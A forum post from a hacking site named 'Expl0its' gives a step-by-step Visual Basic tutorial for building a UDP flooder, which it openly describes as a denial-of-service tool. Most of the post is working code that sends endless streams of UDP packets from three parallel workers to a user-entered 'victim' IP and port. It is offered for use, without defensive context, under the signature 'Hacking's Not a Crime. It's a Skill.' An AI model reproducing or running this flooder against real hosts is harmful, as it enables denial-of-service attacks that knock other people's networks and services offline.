making a UPD flooder - Forum
Welcome To Expl0its Saturday, 12.03.2016, 9:41 AM
Main | Registration | Login Welcome Guest | RSS
[ New messages · Members · Forum rules · Search · RSS ]
Page 1 of 11
Forum moderator: iCryptic 
Forum » Coding Tutorials » Visual Basic, Any year. » making a UPD flooder
making a UPD flooder
Ex-RevDate: Friday, 10.08.2010, 3:12 AM | Message # 1
Unlimited Scorer
Group: Administrators
Messages: 71
Awards: 3
Reputation: 2
Status: Offline
This is a tutorial thread on how to make a UDP Flooder. I have been observing the forums lately, many are having problems on how to make one. Therefore, I decided to make a UDP flooder tutorial thread.

Enjoy the tutorial.

What is a UDP Flood?

Form of Denial of Service attack using the User Datagram Protocol(UDP), a connectionless computer networking protocol.

Requirements:
-Visual Basic 2008
-Basic knowledge
Tutorial:

Open up Visual Basic 2008 on your computer.

File > New Project > UDP Flooder > Ok

Add 2 Buttons
Add 1 Listbox
Add 1 Textboxes
Add 2 Labels
Add 3 Backgroundworkers
Add 1 NumericUpDown
From the toolbox.

Name Button1 Flood
Name Button2 Stop
Name Label1 Host
Name Label2 Port

The NumericUpDown will be the port numbers. Right click on NumericUpDown, look for value, change 0 to 80, hit Ok.

Okay, now for the coding part.
Double click on the form.
On top of ''Public Class Form1'' add this:

Code:

Imports System
Imports System.Collections.Generic
Imports System.Net
Imports System.Net.Sockets 'Imports Sockets
Imports System.Threading 'To give the impression that multiple tasks are excuting at the same time
Imports System.Text
Under ''Public Class Form1'' add this code:

Code:

Dim i As Integer = 0
Public Shared IP As String 'Converts IP as a string
Public Shared Port As IntegerNow add this code in between Public Class Form 1 and End Class:

Code:

Private Sub BackgroundWorker1_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
Dim targetIp As IPAddress = IPAddress.Parse(IP) 'IP to send the packets to
Dim target As New IPEndPoint(targetIp, Port) 'Port to flood
Dim packet As Byte() = New Byte(1469) {} 'Creates bytes
Dim socket As New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp) 'Creates sockets
While True
If BackgroundWorker1.CancellationPending = True Then
Exit Sub
End If
Try
socket.SendTo(packet, target) 'Sends packets
i += 1
report()
Catch ex As Exception
MsgBox(IP & " is not reachable at the moment! Please try again later.")
Application.Exit () 'Closes the application
End Try
End While
End SubGo back to Form1 design.
Double click on Button1, also known as Flood.
Add this code:

Code:

Button2.Enabled = True
Button1.Enabled = False
TextBox1.Enabled = False
NumericUpDown1.Enabled = False
IP = TextBox1.Text
Port = NumericUpDown1.Value
ListBox1.Items.Add("Flooding: " & IP & " On port : " & Port)
BackgroundWorker1.RunWorkerAsync() 'Runs the backgroundworker
BackgroundWorker2.RunWorkerAsync()
BackgroundWorker3.RunWorkerAsync()Add this code under End Sub:

Code:

Sub report() Handles BackgroundWorker1.ProgressChanged
ListBox1.Items.Add(i & "Packets Sent to Target") 'Lets you know when the flooding is finished
End SubBack to Form1 design.
Double click on Stop button.
Add this code:

Code:

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
BackgroundWorker1.CancelAsync() 'Stops flooding
BackgroundWorker2.CancelAsync()
BackgroundWorker3.CancelAsync()
End SubAdd this giant code into the coding part of your UDP Flooder form:

Code:

Sub done() Handles BackgroundWorker1.RunWorkerCompleted

i = 0
Button2.Enabled = False
Button1.Enabled = True
TextBox1.Enabled = True
NumericUpDown1.Enabled = True
End Sub
Private Sub Backgroundworker2_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker2.DoWork
Dim victimIp As IPAddress = IPAddress.Parse(IP)
Dim slave As New IPEndPoint(victimIp, Port)
Dim packet As Byte() = New Byte(1469) {}
Dim socket As New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)

While True
If BackgroundWorker2.CancellationPending = True Then
Exit Sub
End If
Try
socket.SendTo(packet, slave)
i += 1
Catch ex As Exception
BackgroundWorker2.CancelAsync()
End Try
End While
End Sub
Private Sub Backgroundworker3_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker3.DoWork
Dim victimIp As IPAddress = IPAddress.Parse(IP)
Dim slave As New IPEndPoint(victimIp, Port)
Dim packet As Byte() = New Byte(1469) {}
Dim socket As New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)

While True
If BackgroundWorker3.CancellationPending = True Then
Exit Sub
End If
Try

socket.SendTo(packet, slave)
i += 1
Catch ex As Exception
BackgroundWorker3.CancelAsync()
End Try
End While
End Sub

You're now done with your UDP Flooder. I hope you take my explanation of the codes in consideration of learning Visual Basic.


Hacking's Not a Crime. It's a Skill.

*Can Code Vb
*Can Code HTML
*Can Code Java

PM me for help.

 
Forum » Coding Tutorials » Visual Basic, Any year. » making a UPD flooder
Page 1 of 11
Search:

Copyright MyCorp © 2016 Site managed by uCoz